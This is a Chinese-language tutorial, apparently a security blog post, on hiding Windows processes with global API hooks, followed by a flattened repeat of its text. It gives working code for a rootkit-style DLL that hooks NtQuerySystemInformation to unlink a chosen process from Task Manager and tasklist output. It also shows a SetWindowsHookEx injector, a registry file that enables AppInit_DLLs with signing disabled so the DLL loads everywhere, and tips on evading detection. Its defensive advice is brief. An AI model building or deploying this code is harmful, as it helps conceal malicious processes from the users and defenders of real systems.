Window向之全局Hook实现进程隐藏
字数 1876 2025-08-24 07:48:23

Windows全局Hook实现进程隐藏技术详解

0x00 前言

本文详细讲解通过全局Hook技术实现Windows进程隐藏的方法,涵盖多种实现方式及其原理,包括:

  1. 利用全局钩子SetWindowsHookEx
  2. AppInit_DLLs注册表键值实现globalAPIhook
  3. Hook系统进程监控进程创建

0x01 API Hook技术基础

1.1 MinHook库介绍

MinHook是一个轻量级的x86/x64 API Hook库,特点:

  • 支持x86和x64架构
  • 简单易用的API
  • 开源且维护良好

1.2 MinHook安装

Windows安装步骤:

git clone https://github.com/microsoft/vcpkg
.\vcpkg\bootstrap-vcpkg.bat
.\vcpkg\vcpkg integrate install
.\vcpkg\vcpkg install minhook

无git环境安装:

Invoke-WebRequest -Uri 'https://github.com/microsoft/vcpkg/archive/refs/heads/master.zip' -outFile vcpkg.zip
Expand-Archive -Path '.\vcpkg.zip' -DestinationPath '.\vcpkg'
cd .\vcpkg && bootstrap-vcpkg.bat
vcpkg.exe integrate install
vcpkg.exe instal minhook
vcpkg.exe install minhook:window-x64

1.3 MinHook使用示例

Hook MessageBoxW示例代码:

#include <Windows.h>
#include <stdio.h>
#include "MinHook.h"

#if defined _M_X64
#pragma comment(lib, "minhook.x64.lib")
#elif defined _M_IX86
#pragma comment(lib, "minhook.x86.lib")
#endif

typedef int(WINAPI* MESSAGEBOXW)(HWND, LPCWSTR, LPCWSTR, UINT);
MESSAGEBOXW fpMessageBoxW = NULL;

int WINAPI DetourMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType)
{
    return fpMessageBoxW(hWnd, L"Hooked!", lpCaption, uType);
}

int wmain()
{
    if (MH_Initialize() != MH_OK) {
        printf("%ws\n", L"初始化MinHook失败!");
        return 1;
    }

    if (MH_CreateHook(&MessageBoxW, &DetourMessageBoxW, reinterpret_cast<LPVOID*>(&fpMessageBoxW)) != MH_OK) {
        printf("%ws\n", L"创建Hook失败!");
        return 1;
    }

    if (MH_EnableHook(&MessageBoxW) != MH_OK) {
        printf("%ws\n", L"开启Hook失败!");
        return 1;
    }

    MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);

    if (MH_DisableHook(&MessageBoxW) != MH_OK) {
        printf("%ws\n", L"关闭Hook失败!");
    }

    MessageBoxW(NULL, L"Not hooked...", L"MinHook Sample", MB_OK);

    if (MH_Uninitialize() != MH_OK) {
        return 1;
    }
    return 0;
}

1.4 封装Hook函数

template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal)
{
    return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}

template <typename T>
inline MH_STATUS MH_CreateHookApiEx(LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
    return MH_CreateHookApi(pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}

0x02 进程隐藏实现

2.1 原理分析

Windows进程管理器相关程序:

  • C:\Windows\System32\tasklist.exe
  • C:\Windows\System32\Taskmgr.exe

分析发现它们最终都调用了NtQuerySystemInformation函数来获取进程信息,因此可以通过Hook此函数实现进程隐藏。

2.2 Hook NtQuerySystemInformation实现

#include "pch.h"
#include <winternl.h>
#include <MinHook.h>

#if defined _M_X64
#pragma comment(lib, "libMinHook-x64-v140-mt.lib")
#elif defined _M_IX86
#pragma comment(lib, "libMinHook-x86-v140-mt.lib")
#endif

typedef struct _MY_SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    BYTE Reserved1[48];
    UNICODE_STRING ImageName;
    KPRIORITY BasePriority;
    HANDLE UniqueProcessId;
} _MY_SYSTEM_PROCESS_INFORMATION, *MY_SYSTEM_PROCESS_INFORMATION;

typedef NTSTATUS(WINAPI* myNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength);

myNtQuerySystemInformation fpNtQuerySystemInformation = NULL;

NTSTATUS WINAPI HookedNtQuerySystemInformation(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength)
{
    NTSTATUS status = fpNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);

    if (SystemInformationClass == SystemProcessInformation && NT_SUCCESS(status)) {
        MY_SYSTEM_PROCESS_INFORMATION pCurrent = NULL;
        MY_SYSTEM_PROCESS_INFORMATION pNext = (MY_SYSTEM_PROCESS_INFORMATION)SystemInformation;

        do {
            pCurrent = pNext;
            pNext = (MY_SYSTEM_PROCESS_INFORMATION)((PUCHAR)pCurrent + pCurrent->NextEntryOffset);
            if (!wcsncmp(pNext->ImageName.Buffer, L"notepad.exe", pNext->ImageName.Length)) {
                if (0 == pNext->NextEntryOffset) {
                    pCurrent->NextEntryOffset = 0;
                }
                else {
                    pCurrent->NextEntryOffset += pNext->NextEntryOffset;
                }
                pNext = pCurrent;
            }
        } while (pNext->NextEntryOffset != 0);
    }
    return status;
}

BOOL Hook()
{
    MH_Initialize();
    MH_CreateHookApiEx(L"ntdll", "NtQuerySystemInformation", HookedNtQuerySystemInformation, &fpNtQuerySystemInformation);
    MH_EnableHook(MH_ALL_HOOKS);
    return true;
}

BOOL unHook()
{
    MH_DisableHook(MH_ALL_HOOKS);
    MH_Uninitialize();
    return true;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        MessageBoxW(NULL, L"Hook ok!", L"Title", MB_OK);
        Hook();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

2.3 关键隐藏技术

通过修改进程信息链表结构实现隐藏:

  1. 找到目标进程的链表节点
  2. 将前一个节点的NextEntryOffset指向目标节点的下一个节点
  3. 跳过目标节点,实现链表删除效果

0x03 全局Hook技术

3.1 SetWindowsHookEx全局钩子

原理:Windows消息机制允许通过设置全局钩子将DLL注入到所有进程中。

实现步骤:

  1. 编写DLL并导出钩子处理函数
extern "C" LRESULT __declspec(dllexport) GetMsgProc(int code, WPARAM wParam, LPARAM lParam);

LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
    return ::CallNextHookEx(NULL, code, wParam, lParam);
}
  1. 主程序设置全局钩子
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>

int _tmain(int argc, _TCHAR* argv[])
{
    HMODULE hDll = LoadLibraryW(TEXT("C:\\path\\to\\your.dll"));
    if (hDll == NULL) {
        printf("LoadDLL Error: %d\n", GetLastError());
        return 0;
    }
    
    HOOKPROC MsgHookProc = (HOOKPROC)GetProcAddress(hDll, "GetMsgProc");
    HHOOK hhook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)MsgHookProc, hDll, 0);
    
    if (hhook == NULL) {
        return 0;
    }
    
    printf("Success SetWindowHookEx!\n");
    system("pause");;
    
    UnhookWindowsHookEx(hhook);
    FreeLibrary(hDll);
    printf("Success Unload DLL!\n");
}

局限性:

  • 只能挂钩带GUI的程序
  • DLL需要落地
  • 对tasklist.exe等命令行工具无效

3.2 AppInit_DLLs全局注入

原理:通过修改注册表键值将DLL注入所有用户模式进程。

注册表位置:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

关键键值:

  • AppInit_DLLs - DLL路径列表(空格或逗号分隔)
  • LoadAppInit_DLLs - 设置为1启用
  • RequireSignedAppInit_DLLs - 签名要求(Windows 7+)

注册表示例:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"AppInit_DLLs"="C:\\Tools\\AppInitHookx64.dll,C:\\Tools\\AppInitHook.dll"
"LoadAppInit_DLLs"=dword:00000001
"RequireSignedAppInit_DLLs"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows]
"AppInit_DLLs"="C:\\Tools\\AppInitHook.dll"
"LoadAppInit_DLLs"=dword:00000001
"RequireSignedAppInit_DLLs"=dword:00000000

局限性:

  • DLL必须落地
  • Windows 8+默认禁用此功能(安全启动)
  • 部分系统工具可能仍然可见

0x04 技术总结

  1. Hook技术选择

    • MinHook库简化API Hook实现
    • 关键Hook点:NtQuerySystemInformation
  2. 隐藏实现要点

    • 修改进程信息链表结构
    • 注意不同系统版本差异
  3. 全局注入方式对比

方式 优点 缺点
SetWindowsHookEx 无需重启生效 仅限GUI程序
AppInit_DLLs 所有用户模式进程 需要重启生效,Win8+受限
  1. 防御建议
    • 监控关键API调用
    • 检查注册表AppInit_DLLs键值
    • 使用签名验证加载的DLL

0x05 进阶思考

  1. 对抗检测:

    • 无文件Hook技术
    • 反射DLL注入
    • 多层级Hook
  2. 兼容性处理:

    • 不同Windows版本适配
    • 32/64位进程处理
  3. 隐蔽性提升:

    • 动态修改Hook目标
    • 条件触发Hook

0x06 参考资源

  1. MinHook项目:https://github.com/TsudaKageyu/minhook
  2. Microsoft文档:
    • SetWindowsHookEx: https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw
    • AppInit_DLLs: https://docs.microsoft.com/en-us/windows/win32/win7appqual/appinit-dlls-in-windows-7-and-windows-server-2008-r2
  3. 相关技术文章:
    • https://www.codeproject.com/Articles/49319/Easy-way-to-set-up-global-api-hooks
    • https://github.com/manicstreetcoders/AppInitGlobalHooks-Mimikatz
Windows全局Hook实现进程隐藏技术详解 0x00 前言 本文详细讲解通过全局Hook技术实现Windows进程隐藏的方法,涵盖多种实现方式及其原理,包括: 利用全局钩子SetWindowsHookEx AppInit_ DLLs注册表键值实现globalAPIhook Hook系统进程监控进程创建 0x01 API Hook技术基础 1.1 MinHook库介绍 MinHook是一个轻量级的x86/x64 API Hook库,特点: 支持x86和x64架构 简单易用的API 开源且维护良好 1.2 MinHook安装 Windows安装步骤: 无git环境安装: 1.3 MinHook使用示例 Hook MessageBoxW示例代码: 1.4 封装Hook函数 0x02 进程隐藏实现 2.1 原理分析 Windows进程管理器相关程序: C:\Windows\System32\tasklist.exe C:\Windows\System32\Taskmgr.exe 分析发现它们最终都调用了 NtQuerySystemInformation 函数来获取进程信息,因此可以通过Hook此函数实现进程隐藏。 2.2 Hook NtQuerySystemInformation实现 2.3 关键隐藏技术 通过修改进程信息链表结构实现隐藏: 找到目标进程的链表节点 将前一个节点的 NextEntryOffset 指向目标节点的下一个节点 跳过目标节点,实现链表删除效果 0x03 全局Hook技术 3.1 SetWindowsHookEx全局钩子 原理:Windows消息机制允许通过设置全局钩子将DLL注入到所有进程中。 实现步骤: 编写DLL并导出钩子处理函数 主程序设置全局钩子 局限性: 只能挂钩带GUI的程序 DLL需要落地 对tasklist.exe等命令行工具无效 3.2 AppInit_ DLLs全局注入 原理:通过修改注册表键值将DLL注入所有用户模式进程。 注册表位置: 关键键值: AppInit_DLLs - DLL路径列表(空格或逗号分隔) LoadAppInit_DLLs - 设置为1启用 RequireSignedAppInit_DLLs - 签名要求(Windows 7+) 注册表示例: 局限性: DLL必须落地 Windows 8+默认禁用此功能(安全启动) 部分系统工具可能仍然可见 0x04 技术总结 Hook技术选择 : MinHook库简化API Hook实现 关键Hook点:NtQuerySystemInformation 隐藏实现要点 : 修改进程信息链表结构 注意不同系统版本差异 全局注入方式对比 : | 方式 | 优点 | 缺点 | |------|------|------| | SetWindowsHookEx | 无需重启生效 | 仅限GUI程序 | | AppInit_ DLLs | 所有用户模式进程 | 需要重启生效,Win8+受限 | 防御建议 : 监控关键API调用 检查注册表AppInit_ DLLs键值 使用签名验证加载的DLL 0x05 进阶思考 对抗检测: 无文件Hook技术 反射DLL注入 多层级Hook 兼容性处理: 不同Windows版本适配 32/64位进程处理 隐蔽性提升: 动态修改Hook目标 条件触发Hook 0x06 参考资源 MinHook项目:https://github.com/TsudaKageyu/minhook Microsoft文档: SetWindowsHookEx: https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexw AppInit_ DLLs: https://docs.microsoft.com/en-us/windows/win32/win7appqual/appinit-dlls-in-windows-7-and-windows-server-2008-r2 相关技术文章: https://www.codeproject.com/Articles/49319/Easy-way-to-set-up-global-api-hooks https://github.com/manicstreetcoders/AppInitGlobalHooks-Mimikatz